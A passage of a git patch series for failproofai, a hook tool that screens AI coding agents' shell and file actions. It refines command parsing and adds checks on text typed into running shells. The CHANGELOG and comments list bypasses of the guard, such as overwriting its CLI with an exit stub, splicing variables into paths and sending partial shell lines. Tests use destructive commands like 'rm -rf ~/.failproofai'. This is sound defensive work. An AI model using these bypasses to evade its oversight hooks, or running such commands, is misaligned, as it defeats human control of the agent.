""))); - setVariable(words[2], /[%\\]/.test(value) ? [] : [value]); + let value = ""; + let passes = 0; + const conversions = (format.match(/%[sbqd]/g) ?? []).length; + do { + value += format.replace(/%(%|[sbqd])/g, (_, c: string) => (c === "%" ? "%" : (args[k++] ?? ""))); + } while (conversions > 0 && k < args.length && ++passes < 64); + setVariable(words[2], /[%\\]/.test(value) || k < args.length ? [] : [value]); } else if (head === "mapfile" || head === "readarray") { const named = words.slice(1).filter((word, k, all) => !word.startsWith("-") && !/^-[A-Za-z]*[dnOsuC]$/.test(all[k - 1] ?? "")); setVariable(named[named.length - 1] ?? "MAPFILE", []); @@ -3551,18 +3568,27 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, else if (name.length >= 3 && ("extract".startsWith(name) || name === "get")) extracting = true; continue; } - // A cluster (`-xzf`, or `xzf` first with no dash), its value letters - // taking the words after it in order. - if (!arg.startsWith("-") && k > 0) continue; - const letters = arg.replace(/^-/, ""); - if (!/^[A-Za-z]+$/.test(letters)) { - if (/^-C./.test(arg)) into = arg.slice(2); + // The old form (`xzf` first, no dash): its value letters take the + // words after it in order. + if (!arg.startsWith("-")) { + if (k > 0) continue; + if (arg.includes("x")) extracting = true; + for (const letter of arg) { + if (letter === "C") into = args[++k] ?? into; + else if (TAR_SHORT_VALUE_OPTIONS.includes(letter)) k++; + } continue; } - if (letters.includes("x")) extracting = true; - for (const letter of letters) { - if (letter === "C") into = args[++k] ?? into; - else if ("fbHIKLNTVX".includes(letter)) k++; + // A dashed cluster, as getopt reads it: a letter that takes a value + // takes the rest of the cluster, or the next word when none is left + // (`-Cbins`, `-xfstub.tar`; found by hermes on FailproofAI/failproofai#1058). + for (let i = 1; i < arg.length; i++) { + const letter = arg[i]; + if (letter === "x") extracting = true; + if (letter !== "C" && !TAR_SHORT_VALUE_OPTIONS.includes(letter)) continue; + const value = i + 1 < arg.length ? arg.slice(i + 1) : (args[++k] ?? ""); + if (letter === "C") into = value || into; + break; } } } else if (head === "unzip") { @@ -3579,32 +3605,53 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, return extracting && isBinDir(into === "" ? "." : into); }; // curl reads options from `-K FILE` / `--config FILE` as if they were on - // the line, so they are read onto it; one it cannot read is refused. + // the line, so they are read onto it; one it cannot read is refused. A + // short-option cluster is read the way curl's parser reads it: `K` takes + // the rest of the cluster or the next word (`-sKinner.cfg`), and a letter + // that takes a value before it makes the `K` part of that value (`-oK`). A + // config may name another (`config = inner.cfg`), which is read in turn, + // MAX_CURL_CONFIG_DEPTH deep and MAX_INSTRUCTION_FILE_BYTES in all (found by + // hermes on FailproofAI/failproofai#1058). const withCurlConfig = (list: string[]): string[] | null => { if (list.length === 0 || commandBasename(list[0]) !== "curl") return list; - const out = [list[0]]; - for (let k = 1; k < list.length; k++) { - const arg = list[k]; - let file: string | undefined; - if (arg === "-K") file = list[++k] ?? ""; - else if (/^-K./.test(arg)) file = arg.slice(2); - else if (/^-[A-Za-z]+K$/.test(arg)) { - out.push(arg.slice(0, -1)); - file = list[++k] ?? ""; - } else if (arg.startsWith("--")) { - const eq = arg.indexOf("="); - const name = arg.slice(2, eq === -1 ? undefined : eq); - if (name.length >= 4 && "config".startsWith(name)) file = eq === -1 ? (list[++k] ?? "") : arg.slice(eq + 1); - } - if (file === undefined) { - out.push(arg); - continue; + let bytes = 0; + const expandArgs = (args: string[], depth: number): string[] | null => { + const out: string[] = []; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + let file: string | undefined; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name.length >= 4 && "config".startsWith(name)) file = eq === -1 ? (args[++k] ?? "") : arg.slice(eq + 1); + } else if (/^-[^-]/.test(arg)) { + for (let i = 1; i < arg.length; i++) { + const letter = arg[i]; + if (letter === "K") { + if (i > 1) out.push(arg.slice(0, i)); + file = i + 1 < arg.length ? arg.slice(i + 1) : (args[++k] ?? ""); + break; + } + if (CURL_SHORT_VALUE_OPTIONS.includes(letter)) break; + } + } + if (file === undefined) { + out.push(arg); + continue; + } + if (depth >= MAX_CURL_CONFIG_DEPTH) return null; + const text = instructionsIn(file); + if (text === null) return null; + bytes += text.length; + if (bytes > MAX_INSTRUCTION_FILE_BYTES) return null; + const nested = expandArgs(curlConfigArgs(text), depth + 1); + if (nested === null) return null; + out.push(...nested); } - const text = instructionsIn(file); - if (text === null) return null; - out.push(...curlConfigArgs(text)); - } - return out; + return out; + }; + const expanded = expandArgs(list.slice(1), 0); + return expanded === null ? null : [list[0], ...expanded]; }; // A written word that still holds a value the walk cannot read — a // substitution, or a variable set from what it cannot read or never set — From 6a68b962fb6e3c309c430f80baf67171d746305e Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Wed, 25 Nov 2026 23:27:55 +0530 Subject: [PATCH 56/60] [hooks] Match parameter-operator patterns as bash does, not as paths (#1795) --- src/hooks/builtin-policies.ts | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 69f819cc1..ed574872d 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1314,18 +1314,18 @@ const GLOB_METACHAR_RE = /[*?[{]|[@+!]\(/; * reaching too far is settled by the decoy test and reaching too little is a * bypass. */ -function compileGlobPattern(token: string): string { +function compileGlobPattern(token: string, anyOne = "[^/]"): string { let pattern = ""; for (let i = 0; i < token.length; i++) { - const extended = extglobAt(token, i); + const extended = extglobAt(token, i, anyOne); if (extended) { pattern += extended.source; i = extended.end; continue; } const ch = token[i]; - if (ch === "*") pattern += "[^/]*"; - else if (ch === "?") pattern += "[^/]"; + if (ch === "*") pattern += `${anyOne}*`; + else if (ch === "?") pattern += anyOne; else if (ch === "[") { const bracket = bracketExpressionAt(token, i); if (!bracket) { @@ -1344,7 +1344,7 @@ function compileGlobPattern(token: string): string { } /** One `@(…)`-style group, with its alternatives compiled as patterns. */ -function extglobAt(token: string, start: number): { source: string; end: number } | null { +function extglobAt(token: string, start: number, anyOne = "[^/]"): { source: string; end: number } | null { const operator = token[start]; if (!"?*+@!".includes(operator) || token[start + 1] !== "(") return null; const alternatives: string[] = []; @@ -1371,8 +1371,8 @@ function extglobAt(token: string, start: number): { source: string; end: number } // Unterminated, so the operator is an ordinary character rather than a group. if (i >= token.length) return null; - if (operator === "!") return { source: "[^/]*", end: i }; - const body = alternatives.map((alternative) => compileGlobPattern(alternative)).join("|"); + if (operator === "!") return { source: `${anyOne}*`, end: i }; + const body = alternatives.map((alternative) => compileGlobPattern(alternative, anyOne)).join("|"); const quantifier = operator === "?" ? "?" : operator === "*" ? "*" : operator === "+" ? "+" : ""; return { source: `(?:${body})${quantifier}`, end: i }; } @@ -2383,10 +2383,15 @@ function readParameterReference(word: string, i: number): ParameterReference | n return { end: j + 1, name, op, arg: rest.slice(op.length), indirect, count }; } -/** A glob as an expression for a whole string, or `null` for one that makes none. */ -function wholeGlob(pattern: string): RegExp | null { +/** + * A glob as an expression for a whole string, or `null` for one that makes + * none. `parameter`: a `${v%pattern}`-style pattern, where `*` and `?` match + * `/` too (`${A%%/*}` of `long/out/x` is `long`; found by hermes on + * FailproofAI/failproofai#1058), not a path component. + */ +function wholeGlob(pattern: string, parameter = false): RegExp | null { try { - return new RegExp(`^(?:${compileGlobPattern(pattern)})$`, "s"); + return new RegExp(`^(?:${compileGlobPattern(pattern, parameter ? "." : "[^/]")})$`, "s"); } catch { return null; } @@ -2417,7 +2422,7 @@ function applyParameterOperator(value: string, op: string, arg: string): string } if (value.length > MAX_OPERATED_VALUE) return null; if (op === "#" || op === "##" || op === "%" || op === "%%") { - const re = wholeGlob(arg); + const re = wholeGlob(arg, true); if (re === null) return null; const cuts = Array.from({ length: value.length + 1 }, (_, k) => k); // Shortest first; `##` and `%%` take the longest (found by hermes on FailproofAI/failproofai#1058). @@ -2440,7 +2445,7 @@ function applyParameterOperator(value: string, op: string, arg: string): string } const pattern = slash === -1 ? arg : arg.slice(0, slash); const replacement = slash === -1 ? "" : arg.slice(slash + 1); - const re = wholeGlob(pattern); + const re = wholeGlob(pattern, true); if (re === null || pattern === "") return re === null ? null : value; if (op === "/#") { for (let k = value.length; k > 0; k--) if (re.test(value.slice(0, k))) return replacement + value.slice(k); From e0d88d81ae568c88c1dd4dfa4843ec0dde9543a9 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Thu, 26 Nov 2026 12:53:47 +0530 Subject: [PATCH 57/60] [hooks] Harden Codex and Copilot tool input handling --- CHANGELOG.md | 1 + .../hooks/typed-shell-input-handler.test.ts | 108 +++++++++++++++ __tests__/hooks/typed-shell-input.test.ts | 100 ++++++++++++++ src/hooks/handler.ts | 31 +++++ src/hooks/typed-shell-input.ts | 126 ++++++++++++++++++ src/hooks/types.ts | 4 +- 6 files changed, 369 insertions(+), 1 deletion(-) create mode 100644 __tests__/hooks/typed-shell-input-handler.test.ts create mode 100644 __tests__/hooks/typed-shell-input.test.ts create mode 100644 src/hooks/typed-shell-input.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index cc1fb1a61..0b245e25a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,7 @@ - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) - The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`, and OpenClaw's reaches policies under its own name), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets (whichever of its values a subshell or a one-command assignment leaves it, read when it is assigned, through another variable, an operator such as `${D%/}` or `${X:-bins}`, a `cd`, a loop, `read`, `printf -v` or `declare -n`), through a glob however many names it matches (`tee many/*` with a link among them) and a write that sweeps a bin directory (`tee bins/*`), through a long option cut short as curl before 8 and getopt_long take it (`--output-di`), wget's `--default-page` and `-e`, curl's other output files (`--stderr`, the cookie jar), a sed script, patch or curl config read from a file, an archive extracted into a bin directory, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- Harden Codex and Copilot tool input handling: text sent to a running shell (Codex `write_stdin`, Copilot `write_bash` and `write_powershell`) is now checked by the shell policies as the command lines it runs, and input failproofai cannot read as whole command lines is refused (#1058) ### Docs diff --git a/__tests__/hooks/typed-shell-input-handler.test.ts b/__tests__/hooks/typed-shell-input-handler.test.ts new file mode 100644 index 000000000..bd23f8961 --- /dev/null +++ b/__tests__/hooks/typed-shell-input-handler.test.ts @@ -0,0 +1,108 @@ +// @vitest-environment node +// +// Whether the handler moves typed shell text into `command` and registers the +// refusal guard. The text's reading is covered in typed-shell-input.test.ts. +import { describe, it, expect, vi, beforeEach, afterAll } from "vitest"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +const scratch = mkdtempSync(join(tmpdir(), "fp-typed-input-")); +process.env.FAILPROOFAI_HOME = scratch; + +vi.mock("../../src/hooks/policy-registry", async (importOriginal) => ({ + ...(await importOriginal()), + clearPolicies: vi.fn(), + registerPolicy: vi.fn(), + getPoliciesForEvent: vi.fn(() => []), +})); +vi.mock("../../src/hooks/custom-hooks-loader", () => ({ + loadAllCustomHooks: vi.fn(async () => ({ hooks: [], conventionSources: [] })), +})); +vi.mock("../../src/hooks/cloud-managed-policies", async (importOriginal) => ({ + ...(await importOriginal()), + readActiveCloudManagedPolicies: vi.fn(() => []), + readCloudJevMode: vi.fn(() => null), + readCloudJevState: vi.fn(() => ({ jevMode: null, deployment: null, errors: [] })), + readCloudAuthorityInputs: vi.fn(() => []), +})); +vi.mock("../../src/hooks/session-pause", async (importOriginal) => ({ + ...(await importOriginal()), + readActivePause: vi.fn(() => null), +})); +vi.mock("../../src/hooks/hook-activity-store", () => ({ persistHookActivity: vi.fn() })); +vi.mock("../../src/hooks/policy-evaluator", () => ({ + evaluatePolicies: vi.fn(() => ({ exitCode: 0, stdout: "", stderr: "", policyName: null, reason: null, decision: "allow" })), +})); +vi.mock("../../src/hooks/hook-telemetry", () => ({ + trackHookEvent: vi.fn(() => Promise.resolve()), + flushHookTelemetry: vi.fn(() => Promise.resolve()), +})); +vi.mock("../../lib/telemetry-id", () => ({ getInstanceId: vi.fn(() => "test-id") })); +vi.mock("../../src/hooks/hook-logger", () => ({ hookLogInfo: vi.fn(), hookLogWarn: vi.fn(), hookLogError: vi.fn() })); +vi.mock("../../src/hooks/untraced-note", () => ({ noteUntracedAgent: vi.fn(() => false) })); +vi.mock("../../src/hooks/pack-manifest", () => ({ + readInstalledPacks: vi.fn(() => ({ packs: [], errors: [] })), + hasInstalledPacks: vi.fn(() => false), + hasInstalledRegexPacks: vi.fn(() => false), +})); + +import { evaluateHookEvent } from "../../src/hooks/handler"; +import { TYPED_INPUT_GUARD_NAME } from "../../src/hooks/typed-shell-input"; +import { readActiveCloudManagedPolicies } from "../../src/hooks/cloud-managed-policies"; +import { readActivePause } from "../../src/hooks/session-pause"; +import { registerPolicy } from "../../src/hooks/policy-registry"; +import { evaluatePolicies } from "../../src/hooks/policy-evaluator"; + +const codex = (tool_name: string, tool_input: Record) => + JSON.stringify({ session_id: "s1", cwd: "/tmp/p", hook_event_name: "PreToolUse", tool_name, tool_input }); +const registered = () => vi.mocked(registerPolicy).mock.calls.some(([name]) => name === TYPED_INPUT_GUARD_NAME); +const evaluatedInput = () => (vi.mocked(evaluatePolicies).mock.calls[0]?.[1] as Record)?.tool_input as Record; +const CLOUD = { id: "org", version: 1, sha256: "a".repeat(64), path: "/x.mjs", deployment: 1 }; + +beforeEach(() => { + vi.clearAllMocks(); + vi.mocked(readActivePause).mockReturnValue(null); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([]); +}); + +afterAll(() => { + rmSync(scratch, { recursive: true, force: true }); +}); + +describe("handler: text typed into a running shell", () => { + it("hands Codex write_stdin's chars to the shell policies as the command", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "rm -rf ~/.failproofai\n" })); + expect(evaluatedInput()).toMatchObject({ command: "rm -rf ~/.failproofai", chars: "rm -rf ~/.failproofai\n" }); + expect(registered()).toBe(false); + }); + + it("hands Copilot write_bash's input to the shell policies as the command", async () => { + await evaluateHookEvent( + "PreToolUse", + "copilot", + JSON.stringify({ session_id: "s1", cwd: "/tmp/p", tool_name: "write_bash", tool_input: { shellId: "a", input: "sudo ls\n" } }), + ); + expect(evaluatedInput()).toMatchObject({ command: "sudo ls" }); + }); + + it("registers the guard for a partial line", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "rm -rf ~/.fail" })); + expect(registered()).toBe(true); + }); + + it("does not register it for an empty poll or an ordinary command", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "" })); + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "ls" })); + expect(registered()).toBe(false); + }); + + it("a pause lifts it unless an enforcing Cloud policy is deployed", async () => { + vi.mocked(readActivePause).mockReturnValue({ sessionId: "s1" } as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "x" })); + expect(registered()).toBe(false); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([CLOUD] as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "x" })); + expect(registered()).toBe(true); + }); +}); diff --git a/__tests__/hooks/typed-shell-input.test.ts b/__tests__/hooks/typed-shell-input.test.ts new file mode 100644 index 000000000..5d11dd1ca --- /dev/null +++ b/__tests__/hooks/typed-shell-input.test.ts @@ -0,0 +1,100 @@ +// @vitest-environment node +// +// Text an agent types into a running shell (FailproofAI/agenteye#1898): Codex's +// `write_stdin` sends it as `chars`, Copilot's `write_bash` as `input`, and every +// shell policy reads only `command`. Payload shapes are taken from the agents' +// own tool schemas: codex-cli 0.172 and Copilot CLI 1.0.114. +import { describe, it, expect } from "vitest"; +import { readTypedText, typedShellInput, typedInputGuardFor, typedInputGuardActive } from "../../src/hooks/typed-shell-input"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +describe("readTypedText", () => { + it.each([ + ["one line", "rm -rf ~/.failproofai\n", "rm -rf ~/.failproofai"], + ["several lines", "cd /tmp\nrm -rf x\n", "cd /tmp\nrm -rf x"], + ["a carriage return as Enter", "ls\r", "ls"], + ["CRLF line ends", "a\r\nb\r\n", "a\nb"], + ])("reads %s as the lines it runs", (_label, text, command) => { + expect(readTypedText(text)).toEqual({ kind: "command", command }); + }); + + it.each([ + ["an empty write, which polls for output", ""], + ["Ctrl-C", "\u0003"], + ["Ctrl-D", "\u0004"], + ["an arrow key and Enter", "\u001b[A\n"], + ["Enter alone", "\n"], + // Every write it accepts ends its line and carries no editing keys, so the + // shell's kill buffer only ever holds text that was already judged. + ["Ctrl-Y alone", "\u0019\n"], + ])("gives nothing to judge for %s", (_label, text) => { + expect(readTypedText(text)).toEqual({ kind: "command", command: "" }); + }); + + it.each([ + ["a partial line, which a later write would finish", "rm -rf ~/.fail"], + ["text after the last line end", "ls\nrm -rf ~/.fail"], + ["Tab completion", "rm -rf ~/.failpr\t\n"], + ["Ctrl-W", "rm -rf ~/x\u0017~/.failproofai\n"], + ["a cursor key mid-line", "rm -rf ~/.f\u001b[Dx\n"], + ["a non-string", 42], + ["a missing field", undefined], + ])("refuses %s", (_label, text) => { + expect(readTypedText(text).kind).toBe("unreadable"); + }); +}); + +describe("typedShellInput", () => { + it("reads Codex write_stdin's chars", () => { + expect(typedShellInput("codex", "write_stdin", "Bash", { session_id: 1, chars: "rm -rf x\n" })).toEqual({ + kind: "command", + command: "rm -rf x", + }); + }); + + it.each(["write_bash", "write_powershell"])("reads Copilot %s's input", (tool) => { + expect(typedShellInput("copilot", tool, "Bash", { shellId: "s1", input: "rm -rf x\n", delay: 1 })).toEqual({ + kind: "command", + command: "rm -rf x", + }); + }); + + it("knows a typing call by its shape when the name already arrives as Bash", () => { + expect(typedShellInput("copilot", "Bash", "Bash", { shellId: "s1", input: "rm -rf x\n" })?.kind).toBe("command"); + expect(typedShellInput("codex", "Bash", "Bash", { session_id: 3, chars: "rm -rf x" })?.kind).toBe("unreadable"); + }); + + it.each([ + ["a Codex shell command", "codex", "Bash", { command: "ls" }], + ["Copilot's read_bash, which types nothing", "copilot", "read_bash", { shellId: "s1", delay: 1 }], + ["Copilot's bash with a shell id", "copilot", "bash", { command: "ls", shellId: "s1" }], + ["another CLI's tool with an input field", "claude", "Bash", { input: "x", shellId: "s" }], + ] as const)("leaves %s alone", (_label, cli, raw, input) => { + expect(typedShellInput(cli, raw, "Bash", input)).toBeUndefined(); + }); + + it("leaves a call that is not a shell call alone", () => { + expect(typedShellInput("codex", "write_stdin", "Edit", { chars: "x" })).toBeUndefined(); + }); +}); + +describe("the guard", () => { + const ctx = (eventType: string): PolicyContext => ({ eventType, payload: {}, toolName: "Bash", toolInput: {} } as PolicyContext); + + it("denies on PreToolUse and says why", () => { + const result = typedInputGuardFor("it does not end its line")(ctx("PreToolUse")); + expect(result.decision).toBe("deny"); + expect(result.reason).toContain("it does not end its line"); + }); + + it("allows on any other event", () => { + expect(typedInputGuardFor("x")(ctx("PostToolUse")).decision).toBe("allow"); + }); + + it("is lifted by a pause unless an enforcing Cloud policy is deployed", () => { + expect(typedInputGuardActive(false, [])).toBe(true); + expect(typedInputGuardActive(true, [])).toBe(false); + expect(typedInputGuardActive(true, [{ effect: "observe" }])).toBe(false); + expect(typedInputGuardActive(true, [{}])).toBe(true); + }); +}); diff --git a/src/hooks/handler.ts b/src/hooks/handler.ts index 3ca7992ef..822b064e6 100644 --- a/src/hooks/handler.ts +++ b/src/hooks/handler.ts @@ -38,6 +38,14 @@ import { antigravityPathGuard, antigravityPathGuardActive, } from "./antigravity-path-guard"; +import { + TYPED_INPUT_GUARD_DESCRIPTION, + TYPED_INPUT_GUARD_MATCH, + TYPED_INPUT_GUARD_NAME, + typedInputGuardActive, + typedInputGuardFor, + typedShellInput, +} from "./typed-shell-input"; import { evaluatePolicies } from "./policy-evaluator"; // Types only: the semantic (Jev) modules are loaded with a dynamic import, and // only once a Jev config exists, so an unconfigured machine never loads them. @@ -727,6 +735,15 @@ export async function evaluateHookEvent( if (canonicalInput !== rawInput) { parsed.tool_input = canonicalInput; } + // Text typed into a running shell (Codex `write_stdin`, Copilot + // `write_bash`) arrives outside `command`, the field every shell policy + // reads: moved there as the lines it runs, or refused below when it cannot + // be read as whole lines. See typed-shell-input.ts. + const typedInput = typedShellInput(cli, rawToolName, canonicalToolName, parsed.tool_input); + if (typedInput?.kind === "command") { + parsed.tool_input = { ...(parsed.tool_input as Record), command: typedInput.command }; + } + const unreadableTypedInput = typedInput?.kind === "unreadable" ? typedInput.why : undefined; // Extract session metadata from payload const sessionId = parsed.session_id as string | undefined; @@ -892,6 +909,20 @@ export async function evaluateHookEvent( ANTIGRAVITY_PATH_GUARD_MATCH, ); } + // Typed text no shell policy could read is refused, outside the enabled + // set for the same reason, and only for the call that carries it. + if ( + unreadableTypedInput !== undefined && + canonicalEventType === "PreToolUse" && + typedInputGuardActive(Boolean(activePause), cloudManagedPolicies) + ) { + registerPolicy( + TYPED_INPUT_GUARD_NAME, + TYPED_INPUT_GUARD_DESCRIPTION, + typedInputGuardFor(unreadableTypedInput), + TYPED_INPUT_GUARD_MATCH, + ); + } // Recorded on every row once a machine is managed, whether or not a cloud // policy decided this event: "what was deployed here at the time" is a // separate question from "what decided", and only the former can tell a diff --git a/src/hooks/typed-shell-input.ts b/src/hooks/typed-shell-input.ts new file mode 100644 index 000000000..8c20efd9f --- /dev/null +++ b/src/hooks/typed-shell-input.ts @@ -0,0 +1,126 @@ +/** + * Text an agent types into a shell that is already running. + * + * Codex's `write_stdin` and Copilot's `write_bash` / `write_powershell` send + * keystrokes to a shell an earlier call started. They are canonicalized to + * `Bash` so the shell policies judge them, but their text is not in `command`, + * the one field those policies read: Codex sends it as `chars` + * (`{session_id, chars}`, codex-cli 0.172) and Copilot as `input` + * (`{shellId, input, delay}`, Copilot CLI 1.0.114). With `command` empty every + * shell policy allowed what was typed. + * + * So `handler.ts` moves the text into `command`, as far as it can be read as + * whole command lines, and refuses the rest: + * - An empty write reads a shell's output (Codex polls that way): nothing to judge. + * - Text that ends a line is the lines it runs. + * - Keys alone (Ctrl-C, Ctrl-D, an arrow key, Enter) add no text of their own; + * a line they bring back from history was judged when it was first typed. + * - Everything else is refused: text that does not end its line, because the + * shell runs it once a later write adds the rest, which is then judged + * without it (`rm -rf ~/.fail` now, `proofai` and Enter next); and text + * mixed with editing keys (Tab completion, Ctrl-W, Ctrl-Y, a cursor key), + * because the line the shell runs is then not the text sent. + * + * Text typed into a program the shell started (a REPL, an editor) is judged as + * shell text too: the payload does not say what reads it. + */ +import { deny, allow } from "./policy-helpers"; +import type { PolicyContext, PolicyMatcher, PolicyResult } from "./policy-types"; +import type { HookEventType, IntegrationType } from "./types"; + +export const TYPED_INPUT_GUARD_NAME = "failproofai/typed-shell-input-readable"; + +export const TYPED_INPUT_GUARD_DESCRIPTION = + "Refuse text typed into a running shell that failproofai cannot read as whole command lines."; + +export const TYPED_INPUT_GUARD_MATCH: PolicyMatcher = { + events: ["PreToolUse"], + toolNames: ["Bash"], +}; + +/** The raw tool names that type into a running shell, and the field each sends its text in. */ +const TYPING_TOOLS: Partial>> = { + codex: { write_stdin: "chars" }, + copilot: { write_bash: "input", write_powershell: "input" }, +}; + +/** What a typing call's text gives the shell policies to read. */ +export type TypedInput = + /** Lines to judge as a command (`""` when there is nothing to judge). */ + | { kind: "command"; command: string } + /** Text that cannot be read as whole command lines: refused. */ + | { kind: "unreadable"; why: string }; + +/** + * The field a call types its text in, or undefined for a call that types + * nothing. Known by the raw tool name, and by shape for a name the CLI already + * reports as `Bash`: a text field beside a shell id, and no `command`. + */ +function typedTextField(cli: IntegrationType, rawToolName: string | undefined, input: Record): string | undefined { + const byName = rawToolName === undefined ? undefined : TYPING_TOOLS[cli]?.[rawToolName]; + if (byName !== undefined) return byName; + if (input.command !== undefined) return undefined; + if (cli === "codex" && "chars" in input && "session_id" in input) return "chars"; + if (cli === "copilot" && "input" in input && "shellId" in input) return "input"; + return undefined; +} + +// A terminal escape sequence: CSI (`ESC [ … final`), SS3 (`ESC O x`), or ESC and one key. +const ESCAPE_SEQUENCE_RE = /\x1b(?:\[[0-?]*[ -/]*[@-~]|O.|[\s\S])?/g; +// A control character other than a line ending. +const EDITING_KEY_RE = /[\x00-\x09\x0b\x0c\x0e-\x1f\x7f]/; + +/** How `text`, typed into a running shell, reads; see the module comment. */ +export function readTypedText(text: unknown): TypedInput { + if (typeof text !== "string") return { kind: "unreadable", why: "its text is not a string" }; + if (text === "") return { kind: "command", command: "" }; + const withoutEscapes = text.replace(ESCAPE_SEQUENCE_RE, ""); + const visible = withoutEscapes.replace(/[\x00-\x1f\x7f]/g, ""); + if (visible.trim() === "") return { kind: "command", command: "" }; + if (withoutEscapes !== text || EDITING_KEY_RE.test(withoutEscapes)) { + return { kind: "unreadable", why: "it mixes text with editing keys, so the line the shell runs is not the text sent" }; + } + const lines = withoutEscapes.replace(/\r\n?/g, "\n"); + if (!lines.endsWith("\n")) { + return { kind: "unreadable", why: "it does not end its line, so the shell would run it with whatever is typed next" }; + } + return { kind: "command", command: lines.slice(0, -1) }; +} + +/** + * For a call that types into a running shell: what its text reads as. + * Undefined for any other call, which is left exactly as it came. + */ +export function typedShellInput( + cli: IntegrationType, + rawToolName: string | undefined, + canonicalToolName: string | undefined, + toolInput: unknown, +): TypedInput | undefined { + if (canonicalToolName !== "Bash" || !toolInput || typeof toolInput !== "object" || Array.isArray(toolInput)) return undefined; + const input = toolInput as Record; + const field = typedTextField(cli, rawToolName, input); + if (field === undefined) return undefined; + return readTypedText(input[field]); +} + +/** + * Lifted by a pause, which is the way through when an agent CLI changes how it + * sends typed text, unless an enforcing Cloud policy is deployed: a pause does + * not suspend those, and they could not read this text either. Same rule as + * `antigravityPathGuardActive`. + */ +export function typedInputGuardActive(paused: boolean, cloudPolicies: ReadonlyArray<{ effect?: string }>): boolean { + return !paused || cloudPolicies.some((p) => p.effect !== "observe"); +} + +/** The guard for one call `handler.ts` found unreadable, saying why. */ +export function typedInputGuardFor(why: string): (ctx: PolicyContext) => PolicyResult { + return (ctx) => { + if ((ctx.eventType as HookEventType | string) !== "PreToolUse") return allow(); + return deny( + `failproofai refused this input to a running shell because ${why}. ` + + "Send whole command lines ending in a newline, with no editing keys.", + ); + }; +} diff --git a/src/hooks/types.ts b/src/hooks/types.ts index dc9a87d19..e91c20aa7 100644 --- a/src/hooks/types.ts +++ b/src/hooks/types.ts @@ -68,7 +68,9 @@ export const CODEX_EVENT_MAP: Record = { * Local Codex sessions also expose `write_stdin` (sends input to a running * shell — same risk class as Bash). Map the two non-canonical names so * builtin policies fire; everything else (MCP `mcp__*`, future tools) - * passes through. + * passes through. `write_stdin`'s text arrives in `chars`, not `command`: + * typed-shell-input.ts moves it there (as it does Copilot `write_bash`'s + * `input`) and refuses text it cannot read as whole command lines. */ export const CODEX_TOOL_MAP: Record = { apply_patch: "Edit", From 556a5b129595275331173475e2a5cb56bd49f62a Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Fri, 27 Nov 2026 14:55:54 +0530 Subject: [PATCH 58/60] [hooks] Compute printf conversions as bash does and read every tar -C (#1795) --- __tests__/hooks/guard-npx-local-bin.test.ts | 44 ++++++++ src/hooks/builtin-policies.ts | 116 ++++++++++++++++++-- 2 files changed, 148 insertions(+), 12 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts 